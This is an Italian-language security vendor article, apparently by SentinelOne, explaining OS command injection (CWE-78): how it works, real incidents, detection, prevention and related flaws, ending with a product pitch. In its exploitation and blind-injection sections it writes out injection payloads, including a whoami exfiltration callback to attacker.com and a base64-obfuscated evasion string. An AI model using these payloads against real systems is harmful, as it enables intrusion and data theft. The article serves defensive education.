
Che cos'è l'iniezione di comandi? Come gli attaccanti la sfruttano
L'iniezione di comandi (CWE-78) consente agli attaccanti di eseguire comandi del sistema operativo tramite applicazioni vulnerabili. Scopri come funziona, chi è interessato e come fermarla.

Punti chiave
- Iniezione di comandi è una vulnerabilità di sicurezza che consente agli attaccanti di eseguire comandi non autorizzati del sistema operativo tramite un'applicazione vulnerabile.
- L'input utente non sanitizzato è una causa principale comune, soprattutto quando le applicazioni passano l'input direttamente alle shell di sistema o agli interpreti di comandi.
- Un'iniezione di comandi riuscita può esporre dati sensibili e risorse di sistema, consentendo agli attaccanti di leggere file, modificare dati, eseguire codice dannoso o ottenere ulteriore accesso.
- Gli attaccanti possono sfruttare l'iniezione di comandi in modi diversi, inclusa l'iniezione di comandi aggiuntivi, l'uso di separatori di comandi o la manipolazione dei parametri dell'applicazione.
- La convalida sicura dell'input e l'evitare l'esecuzione diretta di comandi del sistema operativo sono difese chiave, insieme all'accesso con privilegi minimi, API sicure e test di sicurezza regolari.
Che cos'è l'iniezione di comandi?
L'iniezione di comandi è una vulnerabilità che consente agli attaccanti di eseguire comandi arbitrari del sistema operativo (OS) su un host tramite un'applicazione vulnerabile. Si verifica quando il software costruisce un comando del sistema operativo incollando testo fornito da un utente. Se quel testo contiene caratteri che la shell interpreta come istruzioni, come; o |, la shell li esegue come parte del comando. I comandi iniettati vengono eseguiti con i privilegi del processo dell'applicazione vulnerabile, il che spesso significa accesso diretto al server sottostante.
Catalogata nel Common Weakness Enumeration (CWE) di MITRE come CWE-78 (OS Command Injection) e nella sua categoria padre CWE-77 (Command Injection), questa debolezza rientra nella più ampia famiglia di injection CWE-74. L'iniezione di comandi estende le chiamate al sistema operativo già esistenti di un'applicazione aggiungendo istruzioni controllate dall'attaccante ai comandi shell che l'applicazione già esegue. L'attaccante non ha bisogno di nuovo codice nel runtime dell'applicazione né di accesso a un motore di database. È la chiamata shell dell'applicazione stessa a fare il lavoro.
Il danno è documentato pubblicamente. La vulnerabilità Shellshock (CVE-2014-6271) ha consentito agli attaccanti di eseguire comandi tramite variabili di ambiente Bash appositamente predisposte. La mancata applicazione di una patch a un difetto di esecuzione di comandi in Apache Struts, CVE-2017-5638, ha poi aperto la strada alla violazione di Equifax e ai dati personali di 147 milioni di persone. CWE-78 è inoltre al primo posto nella KEV Top 10, la classifica 2025 di MITRE delle debolezze alla base del catalogo Known Exploited Vulnerabilities (KEV) di CISA. Nessuna debolezza viene trasformata in arma più spesso.
La meccanica è semplice. Semplice è anche il principio che la blocca: tenere i dati utente fuori dalle istruzioni della shell.
Come funziona l'iniezione di comandi?
L'iniezione di comandi sfrutta un difetto di progettazione fondamentale: un'applicazione passa input controllato dall'utente direttamente a una shell di sistema senza separare i dati dalle istruzioni. Quando la shell riceve la stringa concatenata, interpreta i metacaratteri forniti dall'attaccante come separatori di comandi, sostituzioni o operatori.
Il meccanismo di base
Si consideri un'applicazione web che esegue ricerche DNS passando un nome host fornito dall'utente al sistema operativo:

Se fornisci example.com, la shell esegue /path/to/nslookup example.com come previsto. Ma se un attaccante fornisce example.com ; /bin/ls -l, la shell vede due comandi distinti:

Il punto e virgola agisce come separatore di comandi sui sistemi Unix. La shell esegue nslookup per primo, quindi esegue ls -l, restituendo un elenco di directory che lo sviluppatore non aveva mai previsto.
Metacaratteri della shell
Gli attaccanti si affidano a un insieme di caratteri significativi per la shell per uscire dal contesto di comando previsto. Secondo PortSwigger Academy:
Carattere | Piattaforma | Comportamento |
; | Unix | Eseguire i comandi in sequenza |
& | Windows + Unix | Eseguire in background o concatenare i comandi |
&& | Windows + Unix | Eseguire il secondo comando solo se il primo ha esito positivo |
| | Windows + Unix | Inviare l'output del primo comando al secondo |
|| | Windows + Unix | Eseguire il secondo comando solo se il primo fallisce |
(backticks) | Unix | Sostituzione di comando inline |
$() | Unix | Sostituzione di comando inline |
Nuova riga (0x0a) | Unix | Terminare il comando corrente e iniziarne uno nuovo |
Quando l'input dell'attaccante appare tra virgolette nel comando originale, l'attaccante deve prima chiudere il contesto tra virgolette prima che i metacaratteri abbiano effetto.
Due sottotipi strutturali
MITRE identifica due sottotipi distinti di command injection del sistema operativo:
Sottotipo 1: injection tramite separatore di comandi. L'applicazione esegue un programma fisso e usa l'input dell'utente come argomenti. Gli attaccanti non possono cambiare quale programma viene eseguito, ma possono aggiungere comandi supplementari tramite separatori. Questa è la forma più comune.
Sottotipo 2: controllo completo del comando. L'applicazione usa l'input per determinare interamente quale programma viene eseguito. Per esempio:

Se un attaccante controlla la proprietà SCRIPTNAME, sceglie quale binario viene eseguito.
Classica vs. blind vs. di secondo ordine
Injection classica (in-band) restituisce direttamente l'output del comando nella risposta HTTP. Fornire & echo aiwefwlguh & conferma l'injection quando la stringa restituita da echo appare nel corpo della risposta.
Blind injection non produce output visibile. Gli attaccanti confermano l'esecuzione tramite tre tecniche documentate da PortSwigger:
- Ritardi temporali:
& sleep 10 &causa un ritardo di risposta misurabile. - Reindirizzamento dell'output:
||whoami>/var/www/images/output.txt||scrive i risultati in un percorso accessibile dal web. - Callback out-of-band:
& nslookup `whoami`.attacker.com& attiva una ricerca DNS verso un dominio controllato dall'attaccante, incorporando l'output del comando nel sottodominio.
Iniezione di secondo ordine memorizza il payload dannoso al momento dell'invio. L'iniezione si attiva successivamente quando una diversa funzione dell'applicazione recupera i dati memorizzati e li incorpora in un comando. Questo rende molto più difficile tracciare il flusso dalla sorgente al sink durante la revisione del codice.
Ciascuno di questi tipi sfrutta la stessa causa radice: input non sanitizzato che raggiunge una shell di sistema. Una sola causa radice significa che una sola disciplina chiude tutti e tre.
Cause dell'iniezione di comandi
L'iniezione di comandi non deriva da un singolo errore di codifica. Emerge da un modello di pratiche di sviluppo che non riescono a separare i dati dell'utente dalle istruzioni della shell.
Invocazione diretta della shell con input dell'utente
La causa più comune è chiamare funzioni della shell del sistema operativo e concatenare stringhe controllate dall'utente nel comando. Ogni principale linguaggio di programmazione offre funzioni che invocano la shell di sistema, e gli sviluppatori vi ricorrono quando hanno bisogno di un accesso rapido alle utility del sistema operativo:
Linguaggio | Funzioni pericolose |
Python |
|
Java |
|
PHP |
|
Ruby |
|
Node.js |
|
Fonti: OWASP Cheat Sheet, blog di Bugcrowd
Validazione dell'input insufficiente
Quando gli sviluppatori convalidano l'input, spesso si affidano a denylists che tentano di bloccare specifici caratteri pericolosi. La OWASP Validation Cheat Sheet caratterizza la validazione tramite denylist come un "approccio gravemente difettoso" perché gli attaccanti la aggirano tramite variazioni di codifica, separatori alternativi o injection di argomenti che non richiede affatto metacaratteri della shell.
Vettori di input indiretti
L'injection di comandi non arriva sempre tramite un campo di modulo o un parametro URL. Secondo la community OWASP e MITRE CWE-78, i vettori di input documentati includono:
- Variabili di ambiente
- Nomi di file all'interno degli archivi
- Risposte del server FTP
- Header HTTP e cookie passati alle chiamate di sistema
- Proprietà di sistema della Java Virtual Machine (JVM) e valori di configurazione di runtime
Ognuno di questi vettori può trasportare metacaratteri della shell in una stringa di comando se il codice ricevente non li convalida.
Mancanza di parametrizzazione
I linguaggi e i framework offrono l'esecuzione parametrizzata dei comandi che separa il comando dai suoi argomenti. Quando gli sviluppatori saltano queste API più sicure, scegliendo subprocess.run(f"ping {user_input}", shell=True) invece di subprocess.run(["ping", user_input], shell=False), lasciano che la shell interpreti tutto come una singola stringa, metacaratteri inclusi.
Errori nel principio del privilegio minimo
Anche quando si verifica l'injection, il danno dipende dai privilegi del processo vulnerabile. Le applicazioni eseguite come root o con account di servizio elevati concedono all'attaccante pieno accesso al sistema in caso di injection riuscita. Secondo OWASP WSTG, le applicazioni web dovrebbero essere eseguite con autorizzazioni rigorose che non consentano l'esecuzione arbitraria di comandi del sistema operativo.
Ognuna di queste cause, se non corretta, si traduce in danni reali.
Impatto e rischio della Command Injection
La command injection si colloca costantemente tra le vulnerabilità più gravi perché fornisce un percorso diretto da una richiesta web al controllo a livello di sistema operativo. L'impatto si estende a dimensioni tecniche, operative e strategiche.
Impatto tecnico
Una OS command injection riuscita consente:
- Esecuzione arbitraria di comandi con i privilegi del processo applicativo vulnerabile
- Compromissione completa del sistema quando le applicazioni vengono eseguite come root o con privilegi elevati
- Esfiltrazione dei dati tramite connessioni di rete in uscita o tunneling DNS
- Accesso persistente tramite impianti, backdoor o nuovi account utente
- Movimento laterale verso altri sistemi accessibili dall'host compromesso
La gravità aumenta in base ai privilegi del processo compromesso e alla posizione di rete dell'host interessato.
Impatto aziendale
Le conseguenze documentate nel mondo reale includono:
- Ransomware deployment: Gli attaccanti hanno sfruttato Apache ActiveMQ CVE-2023-46604, un difetto di deserializzazione che termina in comandi shell arbitrari, per distribuire il ransomware HelloKitty. Il suo CISA KEV conferma lo sfruttamento attivo
- Spionaggio di stati-nazione: Un avviso congiunto di FBI e CISA DPRK advisory (AA24-207A) elenca CVE-2023-46604 tra le vulnerabilità che il gruppo Andariel della Corea del Nord ha sfruttato in una campagna globale di spionaggio
Questi incidenti dimostrano che l'iniezione di comandi colpisce organizzazioni di tutti i settori e di ogni dimensione.
Il divario di weaponization
La caratteristica distintiva dell'iniezione di comandi è il divario tra la frequenza con cui compare e la frequenza con cui gli attaccanti la utilizzano. CWE-78 si colloca al nono posto nella CWE Top 25 2025 di MITRE per prevalenza complessiva, eppure è al primo posto nella KEV Top 10. MITRE caratterizza questa divergenza come un riflesso di "i tipi di vulnerabilità più facili da sfruttare e con l'impatto più desiderabile per gli avversari."
Questo divario mostra ciò che gli attaccanti apprezzano: una richiesta, una shell. Il loro playbook ne consegue.
Come gli attaccanti sfruttano l'iniezione di comandi
Gli attaccanti seguono una metodologia strutturata quando prendono di mira l'iniezione di comandi, passando dalla scoperta alla conferma fino allo sfruttamento completo.
Passaggio 1: Identificare i punti di iniezione
Gli attaccanti cercano funzionalità dell'applicazione che interagiscono con il sistema operativo: operazioni sui file, ricerche DNS, diagnostica di rete, generazione di PDF, elaborazione di immagini o interfacce di amministrazione del sistema. Esaminano ogni input che potrebbe raggiungere una shell, inclusi parametri URL, campi modulo, header HTTP, cookie e nomi di file caricati.
Passaggio 2: Testare l'esecuzione
Per l'iniezione classica, l'attaccante invia payload contenenti metacaratteri della shell e cerca l'output del comando nella risposta:

Se randomstring compare nella risposta, l'applicazione passa l'input a una shell.
Per l'iniezione cieca, l'attaccante utilizza payload basati sul tempo:

Un ritardo coerente conferma l'esecuzione senza output visibile. In alternativa, i payload out-of-band attivano callback DNS:

L'attaccante monitora il proprio server DNS per le ricerche in arrivo contenenti l'output di whoami come sottodominio.
Passaggio 3: Enumerare l'ambiente
Una volta confermata l'esecuzione, gli attaccanti eseguono comandi di discovery: whoami, id, ifconfig, uname -a, cat /etc/passwd. Questi rivelano il contesto utente, la configurazione di rete e la versione del sistema operativo, informando la fase successiva.
Passaggio 4: Stabilire la persistenza ed elevare i privilegi
A partire dall'accesso iniziale alla shell, gli attaccanti in genere:
- Scaricano strumenti aggiuntivi tramite
curlowgetverso server controllati dall'attaccante - Creano nuovi account utente o chiavi SSH per un accesso persistente
- Sfruttano l' privilege escalation per raggiungere root
- Spostarsi lateralmente verso altri sistemi accessibili dall'host compromesso
Ognuna di queste azioni lascia dietro di sé telemetria. Con la giusta strumentazione in atto, quella telemetria diventa il tuo avviso tempestivo.
Passaggio 5: Sfruttare vulnerabilità concatenate
Gli attaccanti combinano frequentemente l'iniezione di comandi con altri difetti per ottenere un impatto maggiore. Nella campagna Cisco IOS XE, gli attaccanti hanno prima sfruttato CVE-2023-20198 per ottenere l'accesso iniziale, quindi hanno usato CVE-2023-20273 per elevare a root e scrivere un impianto persistente. La catena Ivanti Connect Secure combinava un bypass dell'autenticazione con iniezione. Gli attaccanti non autenticati potevano quindi eseguire comandi arbitrari con privilegi elevati.
Tecniche di evasione
Gli attaccanti sofisticati aggirano i filtri di base tramite:
- Codifica: codifica URL, wrapping base64 (;bash<<<$(base64 -d<<<d2hvYW1p))
- Separatori alternativi: caratteri di nuova riga (0x0a) invece dei punti e virgola
- Iniezione di argomenti: Uso di flag -exec senza alcun metacarattere della shell
- Escape del contesto tra virgolette: Chiusura delle virgolette definite dallo sviluppatore prima di iniettare i separatori
Comprendere chi affronta il rischio maggiore aiuta a dare priorità alle difese.
Chi è interessato dall'iniezione di comandi?
L'iniezione di comandi interessa qualsiasi sistema in cui un'applicazione costruisce comandi del sistema operativo usando input esterni. Sapere dove si concentra il rischio ti dice dove difendere per primo.
Appliance di rete e di sicurezza
Gateway VPN, firewall, router e switch rappresentano la superficie di attacco a più alto rischio per l'iniezione di comandi. Il catalogo KEV di CISA mostra una concentrazione di difetti di iniezione di comandi attivamente sfruttati in Ivanti Connect Secure, Cisco IOS XE, Cisco NX-OS e firewall e router Zyxel. Questi dispositivi si trovano al perimetro della rete, sono esposti a Internet per progettazione e spesso eseguono sistemi operativi embedded che non dispongono degli strumenti di sicurezza disponibili sui server general-purpose.
Dispositivi IoT ed embedded
Telecamere, videoregistratori di rete (NVR) e apparecchiature di rete di livello consumer contengono frequentemente vulnerabilità di iniezione di comandi senza alcuna correzione disponibile. I dispositivi IoT GeoVision end-of-life (CVE-2024-6047, CVE-2024-11120) compaiono nel catalogo KEV come attivamente sfruttati. La decisione di non correggere i router end-of-life interessati da CVE-2024-40891 da parte di Zyxel ha lasciato dispositivi con credenziali predefinite e comandi Telnet non convalidati esposti indefinitamente.
Applicazioni web con integrazione OS
Qualsiasi applicazione web che richiama utility di sistema, elabora file, genera report o gestisce l'infrastruttura del server tramite comandi shell è a rischio. Piattaforme di distribuzione self-hosted come Coolify dimostrano che i moderni strumenti DevOps presentano la stessa vulnerabilità classica quando le funzioni di backup del database, importazione o script di inizializzazione passano input dell'utente alla shell.
Infrastrutture critiche e sanità
Gli operatori di infrastrutture critiche e le organizzazioni sanitarie affrontano un rischio elevato quando i sistemi esposti combinano raggiungibilità da Internet, sensibilità operativa e software o hardware vulnerabili. Gli attacchi del maggio 2023 contro le aziende energetiche danesi mostrano quanto rapidamente questa combinazione si trasformi in un incidente reale.
Piattaforme AI e LLM emergenti
MITRE CWE Version 4.16 ha aggiunto un esempio dimostrativo correlato all'AI a CWE-77: un caso di prompt injection che segna una nuova superficie di attacco. I recenti esempi di CWE-78 ora includono piattaforme di training per agenti AI e large language model (LLM), dove Python Popen richiama il processo con input non sanitizzato dai componenti della pipeline AI.
Gli incidenti documentati mostrano come questi rischi si manifestano negli ambienti di produzione.
Esempi reali di command injection
Dal 2014, la command injection ha reso possibili alcuni degli incidenti di sicurezza più significativi mai registrati, colpendo qualsiasi cosa, dall'infrastruttura web consumer ai sistemi nazionali critici.
Shellshock (2014): sfruttamento di massa di GNU Bash
CVE-2014-6271 ha interessato GNU Bash fino alla versione 4.3. Bash elaborava stringhe finali dopo le definizioni di funzione nelle variabili di ambiente, consentendo ad attaccanti remoti di eseguire comandi arbitrari tramite qualsiasi vettore che impostasse variabili di ambiente prima di richiamare Bash. Le superfici di attacco includevano script Apache CGI, OpenSSH ForceCommand e script client DHCP.
Shellshock ha un punteggio Common Vulnerability Scoring System di CVSS 9.8. La patch originale era incompleta. Correzioni successive sono state rilasciate con CVE-2014-7169, CVE-2014-6277 e CVE-2014-6278.
Violazione di Equifax (2017): record esposti
CVE-2017-5638 in Apache Struts 2 consentiva l'esecuzione remota di comandi tramite un'intestazione HTTP Content-Type, Content-Disposition, o Content-Length appositamente predisposta inviata al parser Jakarta Multipart. Questa vulnerabilità è diventata il punto di ingresso per la violazione di Equifax quando l'azienda non ha applicato la patch disponibile. La violazione ha esposto i dati personali di 147 milioni di persone, secondo la Federal Trade Commission, e rimane una delle più grandi violazioni di dati della storia. I dettagli tecnici sono disponibili nel record del National Vulnerability Database (NVD).
Attacco alla rete elettrica danese (2023)
Nel maggio 2023, attori delle minacce collegati alla Russia hanno violato 22 aziende elettriche danesi. La prima ondata ha sfruttato CVE-2023-28771, una falla critica di command injection nei router Zykel, e gli attaccanti hanno continuato a sfruttare i sistemi non patchati per mantenere l'accesso. SektorCERT, il centro di cybersecurity per le infrastrutture critiche danesi, ha divulgato la campagna nel novembre 2023.
Sfruttamento di massa di Ivanti Connect Secure (2024)
A partire da gennaio 2024, più gruppi di minacce hanno armato una catena di CVE-2024-21887 (command injection) e CVE-2023-46805 (bypass dell'autenticazione) contro gli appliance VPN Ivanti Connect Secure. CISA ha emesso un avviso di emergenza che documenta la catena di sfruttamento.
Tripla command injection di Coolify (2026)
Divulgate nel gennaio 2026, vulnerabilità di Coolify nella piattaforma di distribuzione self-hosted Coolify hanno dimostrato che la command injection è un rischio attuale. Tre di esse (CVE-2025-66209, CVE-2025-66210 e CVE-2025-66211, ciascuna con punteggio CVSS 10.0) hanno colpito le funzioni di backup del database, importazione del database e gestione degli script di inizializzazione PostgreSQL. Un utente autenticato con autorizzazioni sul database poteva evadere dal container e assumere il controllo del server.
Questi incidenti coprono più di un decennio. La seguente cronologia mostra come si è evoluta la command injection.
Command Injection: una cronologia storica
Anno | Evento | Significato |
2002 | CVE-2002-0061 documentato | Primo esempio di CWE-78: esecuzione di comandi sul server web tramite il carattere pipe |
2014 | Shellshock (CVE-2014-6271) | Sfruttamento di massa di GNU Bash su numerose piattaforme |
2017 | Apache Struts / Equifax (CVE-2017-5638) | L'esecuzione di comandi tramite intestazioni HTTP porta a una grave violazione |
2023 | Apache ActiveMQ (CVE-2023-46604) | Difetto di deserializzazione che termina in comandi shell; sfruttato per distribuire ransomware |
2023 | Cisco IOS XE zero-day (CVE-2023-20198) | Catena di sfruttamento in due fasi con impianto persistente |
2023 | Attacco alla rete elettrica della Danimarca | Più aziende colpite tramite command injection nelle infrastrutture critiche |
2024 | Sfruttamento di massa di Ivanti Connect Secure | Catena di command injection + bypass dell'autenticazione su appliance esposte |
2025 | CWE-78 raggiunge il n. 1 nella Top 10 KEV di MITRE | La debolezza più weaponized nel catalogo KEV di CISA |
2025 | CVE-2025-54100 (Windows PowerShell) | Command injection nell'elaborazione dei contenuti web di PowerShell |
2026 | Coolify triplo CVSS 10.0 | Tre difetti di command injection nei moderni strumenti DevOps |
2026 | TP-Link Archer BE230 (CVE-2026-22224) | Injection dell'interfaccia cloud nel firmware del router consumer |
La command injection continua a comparire in nuovi contesti. La superficie di attacco ora si estende all'infrastruttura cloud, agli ecosistemi IoT e alle piattaforme AI. I difensori che la intercettano a ogni livello, prima e dopo lo sfruttamento, eliminano questa portata.
Come rilevare la Command Injection
L'individuazione della command injection richiede una copertura stratificata lungo il ciclo di vita dello sviluppo, il runtime dell'applicazione e la telemetria di endpoint/rete.
Static application security testing (SAST)
Gli strumenti SAST analizzano il codice sorgente o i binari prima del runtime, cercando pattern vulnerabili senza eseguire l'applicazione. Per la command injection, SAST identifica:
- Chiamate a sink pericolosi (system(), exec(), popen(), subprocess con shell=True)
- Dati non attendibili che fluiscono da sorgenti controllate dall'utente (parametri HTTP, intestazioni, cookie) verso questi sink senza validazione
- Mancanza di validazione tramite allowlist prima della costruzione del comando OS
SAST produce falsi positivi e non può osservare il comportamento a runtime. Identifica pattern di codice, non una sfruttabilità confermata. Tratta i risultati SAST come indicatori che richiedono verifica manuale.
Dynamic application security testing (DAST)
DAST valuta le applicazioni in esecuzione simulando attacchi dall'esterno. Secondo la OWASP WSTG, payload DAST efficaci per la command injection includono:
Categoria | Payload di esempio | Metodo di identificazione |
Concatenazione di comandi |
| Output del comando nella risposta |
Sostituzione di comando |
| Output del comando nella risposta |
Ritardo temporale (blind) |
| Misurazione del tempo di risposta |
Out-of-band (blind) |
| Monitoraggio del callback DNS |
Strumenti come Burp Suite Professional e OWASP ZAP eseguono queste sonde sugli endpoint dell'applicazione.
Autoprotezione runtime dell'applicazione (RASP)
RASP strumenta l'applicazione in esecuzione e rileva l'invocazione di comandi dall'interno del contesto dell'applicazione. RASP rileva l'effettivo fork di un processo usando Runtime.exec o ProcessBuilder.start, il che significa che le tecniche di codifica e offuscamento che ingannano le difese perimetrali falliscono a questo livello.
Indicatori comportamentali di endpoint e rete
Per il tuo team SOC, questi indicatori a livello di processo e di rete segnalano lo sfruttamento dell'iniezione di comandi:
Indicatori di processo:
- Processi del server web (Apache, nginx, Tomcat) che generano cmd.exe, bash, sh, o PowerShell come processi figlio
- Processi figlio che eseguono whoami, id, ifconfig, net user, o comandi di enumerazione simili
- Codificate in Base64 stringhe che compaiono come argomenti della riga di comando per i processi shell
- Processi che invocano nslookup, curl, o wget da processi padre di applicazioni web verso destinazioni esterne non aziendali
Indicatori di rete:
- Processi lato server che generano richieste in uscita curl o wget verso indirizzi IP esterni
- Nuovi user agent (curl, wget) provenienti da sistemi esposti a Internet che si discostano dalla baseline
- Query DNS da processi server verso domini esterni insoliti, coerenti con payload di esfiltrazione per test di sicurezza applicativa out-of-band (OAST)
La difesa più efficace blocca l'injection prima ancora che raggiunga una shell.
Come prevenire la Command Injection
La prevenzione segue una gerarchia di difesa stabilita dalla OWASP Defense Cheat Sheet. Inizia con i controlli più efficaci e aggiungi ulteriori difese a più livelli dietro di essi.
1. Eliminare completamente le chiamate ai comandi del sistema operativo
La prevenzione più efficace consiste nel non chiamare mai comandi del sistema operativo dal codice del livello applicativo. Secondo PortSwigger, praticamente ogni comando shell ha un'alternativa nativa del linguaggio. Usa InetAddress.getByName("host") invece di eseguire ping. Usa shutil.copy() di Python invece di os.system("cp ..."). Usa le funzioni integrate di PHP copy() invece di system("cp ...").
2. Parametrizzare quando le chiamate alla shell sono inevitabili
Se è necessario invocare comandi del sistema operativo, utilizzare API strutturate che separano il comando dai suoi argomenti:
py

Java

In PHP, escapeshellarg() racchiude l'input dell'utente tra apici singoli, trattando l'intero valore come un singolo argomento. Questo impedisce l'iniezione ma non la manipolazione degli argomenti.
3. Convalidare con allowlist, non con denylist
Definire esattamente quale input è consentito. Tutto il resto viene rifiutato per impostazione predefinita.
Una regex allowlist pratica per gli argomenti dei comandi, secondo la OWASP Defense Cheat Sheet, è ^[a-z0-9]{3,10}$.
I caratteri che devono essere esclusi da qualsiasi regex allowlist per gli argomenti dei comandi, secondo OWASP:
4. Utilizzare il delimitatore di argomento -- argument delimiter
Secondo la POSIX Guideline 10, il primo argomento -- segnala la fine delle opzioni. Tutti gli argomenti successivi vengono trattati come operandi anche se iniziano con -:
shell

Questo impedisce l'iniezione di argomenti quando l'input dell'utente potrebbe contenere valori con prefisso trattino.
5. Applicare l'esecuzione con privilegi minimi
Eseguire le applicazioni web e i componenti con autorizzazioni rigorose che non consentano l'esecuzione arbitraria di comandi del sistema operativo. Poiché i comandi iniettati vengono eseguiti con i privilegi dell'applicazione vulnerabile, un processo eseguito come utente senza privilegi limita l'entità del danno anche quando l'iniezione ha successo.
6. Allinearsi al NIST SSDF
NIST SP 800-218 (Secure Software Development Framework) fornisce il livello di governance. La pratica PW.8 richiede di testare il codice per individuare vulnerabilità prima del rilascio. La pratica PW.9 richiede impostazioni predefinite sicure che mantengano le configurazioni pericolose fuori dalla produzione.
Abbinare questi controlli agli strumenti giusti, e l'iniezione di comandi diventa un difetto che si intercetta presto invece di uno che si ripulisce tardi.
Strumenti per il rilevamento e la prevenzione
Gli approcci SAST e RASP trattati sopra gestiscono la revisione del codice e la protezione in fase di esecuzione. Altri tre livelli completano la difesa.
Strumenti DAST
Burp Suite Professional e OWASP ZAP analizzano le applicazioni in esecuzione con payload di injection, incluse tecniche time-based e out-of-band per la blind command injection. Eseguire regolarmente scansioni DAST sugli ambienti di staging.
Web application firewall (WAF)
L'OWASP ModSecurity Core Rule Set include regole REQUEST-932-APPLICATION-ATTACK-RCE specificamente mirate all'esecuzione di codice remoto. AWS WAF Managed Rules fornisce una copertura simile tramite il Core Rule Set.
Tuttavia, i WAF presentano una limitazione critica. I ricercatori di MDSec hanno documentato evasioni nel mondo reale contro più prodotti WAF principali, concludendo che i WAF sono "troppo spesso considerati come un'unica linea di difesa." Le tecniche di bypass includono vulnerabilità di normalizzazione delle richieste e HTTP parameter pollution. I WAF dovrebbero integrare, mai sostituire, la convalida degli input a livello di applicazione.
Piattaforme EDR/XDR
Endpoint detection and response (EDR) e le piattaforme extended detection and response (XDR) costituiscono il livello finale di difesa. Monitorano la telemetria dei processi del sistema operativo e della rete dopo che un'iniezione ha avuto successo e segnalano processi figlio imprevisti, connessioni di rete anomale e movimento laterale. È qui che l'AI comportamentale diventa essenziale: gli strumenti basati su firme non possono prevedere ogni comando che un attaccante potrebbe eseguire tramite una vulnerabilità di injection.
In che modo SentinelOne può aiutare?
SentinelOne Singularity™ Platform affronta la command injection nel livello post-exploitation, dove molte organizzazioni hanno la copertura più debole. Nelle MITRE ATT&CK Evaluations 2024, SentinelOne ha raggiunto il 100% di rilevamento senza ritardi e con l'88% di avvisi in meno rispetto alle soluzioni concorrenti. Questo conta nel momento in cui un server web genera bash o cmd.exe dopo un'iniezione riuscita.
Singularity AI SIEM correla telemetria, connessioni di rete e segnali di identità in una vista unificata. Quando un exploit di command injection attiva richieste curl in uscita verso l'infrastruttura dell'attaccante seguite da movimento laterale, Singularity AI SIEM collega questi eventi in un'unica narrativa di attacco invece di generare avvisi scollegati.
Purple AI™ consente il threat hunting in linguaggio naturale nel tuo Singularity Data Lake. Secondo IDC, i clienti di Purple AI hanno ottenuto un'identificazione delle minacce più rapida del 63% e una riduzione del 55% dell'MTTR. Il tuo team passa più rapidamente da un processo figlio sospetto a un incidente spiegato.
Per le organizzazioni che gestiscono dispositivi IoT ed embedded dove il deployment di agent è impossibile, la telemetria a livello di rete della piattaforma e l'analisi comportamentale basata sull'identità forniscono visibilità sullo sfruttamento della command injection contro dispositivi come i router Zyxel senza patch e le telecamere GeoVision che compaiono nel catalogo CISA KEV.
Richiedi una demo di SentinelOne per vedere come la Singularity Platform trova e blocca lo sfruttamento della command injection nel tuo ambiente.

Cybersicurezza alimentata dall'intelligenza artificiale
Elevate la vostra posizione di sicurezza con il rilevamento in tempo reale, la risposta automatica e la visibilità totale dell'intero ambiente digitale.
Vulnerabilità correlate
La command injection appartiene alla più ampia famiglia di injection CWE-74. Comprendi le sue vulnerabilità correlate e come si concatenano tra loro, e chiuderai ogni percorso che riconduce alla shell.
Argument injection (CWE-88)
Figlia di CWE-77, l'argument injection non richiede metacaratteri della shell. L'attaccante rimane all'interno del comando previsto ma manipola quali argomenti o flag vengono passati. Secondo MITRE, se il programma supporta uno switch -exec, l'argument injection si concatena direttamente nella OS command injection. Gli sviluppatori che bloccano i metacaratteri della shell ma consentono valori con prefisso trattino rimangono vulnerabili.
Code injection (CWE-94)
Code injection inserisce nuovo codice nell'interprete runtime dell'applicazione (eval(), include(), exec() in PHP/Python). Secondo OWASP, "Command Injection differs from Code Injection in that Code Injection allows the attacker to add their own code that is then executed by the application." La code injection crea un ponte verso l'esecuzione di comandi del sistema operativo quando il codice iniettato chiama system().
SQL injection (CWE-89)
SQL injection manipola le query del database. Raggiunge l'esecuzione di comandi del sistema operativo tramite funzionalità specifiche del database: xp_cmdshell di Microsoft SQL Server esegue comandi del sistema operativo direttamente all'interno di una query SQL, e le User Defined Functions di MySQL forniscono un ponte simile. MITRE documenta questi percorsi di escalation nel suo catalogo Common Attack Pattern Enumeration and Classification (CAPEC) come CAPEC-108 (esecuzione da riga di comando tramite SQL Injection).
Server-side template injection (SSTI)
Mappata a CWE-94, la SSTI si verifica quando l'input dell'utente viene concatenato nei template anziché passato come valore di dati. Secondo PortSwigger, nel caso più grave, la SSTI consente l'esecuzione di codice da remoto e il pieno controllo del server. Le catene di attacco documentate mostrano che il cross-site scripting (XSS) memorizzato distribuisce payload SSTI che eseguono comandi del sistema operativo tramite l'accesso alle classi del motore di template.
Deserializzazione di dati non attendibili (CWE-502)
Gli attacchi di deserializzazione utilizzano oggetti serializzati appositamente creati che attivano l'esecuzione di codice durante l'istanziazione dell'oggetto. Secondo MITRE, i payload pickle di Python possono sovrascrivere __reduce__ per chiamare Popen e generare una shell. Le gadget chain Java tramite Apache Commons Collections ottengono Runtime.exec(). Il vantaggio critico di bypass: i payload arrivano come blob binari che eludono tutta la convalida degli input basata su stringhe.
Il principio unificante
Secondo MITRE CWE-94: "Tutti i problemi di injection condividono un elemento in comune: consentono l'iniezione di dati del piano di controllo nel piano dati controllato dall'utente." L'interprete specifico, che si tratti di shell del sistema operativo, motore SQL, motore di template o deserializzatore, determina la classificazione CWE e la sintassi dell'attacco. La causa radice è identica: input non sanitizzato che raggiunge un interprete che tratta i dati come istruzioni.
FAQ
La command injection è una falla di sicurezza (CWE-78) in cui un'applicazione costruisce comandi del sistema operativo concatenando input controllato dall'utente senza neutralizzare i caratteri significativi per la shell.
Gli attaccanti aggiungono metacaratteri come ;, |, o && affinché i loro comandi vengano eseguiti con i privilegi dell'applicazione. Le istruzioni iniettate estendono una chiamata del sistema operativo esistente anziché aggiungere nuova logica a livello applicativo.
Sì. CWE-77 e CWE-78 sono mappati a A03:2021 Injection nella OWASP Top 10:2021 e a A05:2025 nella OWASP Top 10:2025. La categoria Injection copre più CWE correlati, inclusa la command injection.
Sì. Gli attaccanti potrebbero aver bisogno solo di una richiesta HTTP appositamente creata verso un endpoint vulnerabile. La catena Ivanti Connect Secure (CVE-2024-21887) e lo zero-day di Cisco IOS XE (CVE-2023-20198) sono stati entrambi sfruttati da remoto.
Gli appliance di rete come gateway VPN, router e firewall rappresentano la superficie di attacco a più alto rischio. Anche i dispositivi IoT, le applicazioni web con integrazione del sistema operativo e le piattaforme di distribuzione self-hosted sono fortemente interessati.
Recenti esempi di CWE-78 includono piattaforme di addestramento per agenti AI e LLM in cui Python Popen chiama processi con input non sanitizzato.
